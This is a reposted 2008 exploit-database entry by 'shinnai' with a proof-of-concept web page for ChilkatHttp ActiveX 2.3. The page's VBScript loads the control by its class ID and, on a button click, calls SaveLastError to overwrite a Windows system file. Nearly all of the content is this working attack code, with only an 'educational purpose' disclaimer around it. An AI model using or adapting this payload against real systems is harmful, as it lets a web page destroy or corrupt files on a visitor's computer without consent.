ChilkatHttp ActiveX 2.3 Arbitrary Files Overwrite Exploit

[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]

# Title : ChilkatHttp ActiveX 2.3 Arbitrary Files Overwrite Exploit
# Published : 2008-04-01
# Author : shinnai
# Previous Title : Real Player rmoc3260.dll ActiveX Control Remote Code Execution Exploit
# Next Title : mod_jk2 v2.0.2 for Apache 2.0 Remote Buffer Overflow Exploit (win32)

--------------------------------------------------------------------
 ChilkatHttp ActiveX 2.3 Arbitrary Files Overwrite
 url: www.chilkatsoft.com

 Author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org

 This was written for educational purpose. Use it at your own risk.
 Author will be not responsible for any damage.
--------------------------------------------------------------------
<object classid='clsid:B973393F-27C7-4781-877D-8626AAEDF119' id='test'></object>

<input language=VBScript onclick=tryMe() type=button value='Click here to start the test'>

<script language='vbscript'>
 Sub tryMe
  test.SaveLastError "c:windowssystem_.ini"
  MsgBox "Exploit completed!"
 End Sub
</script>

# www.Syue.com [2008-04-01]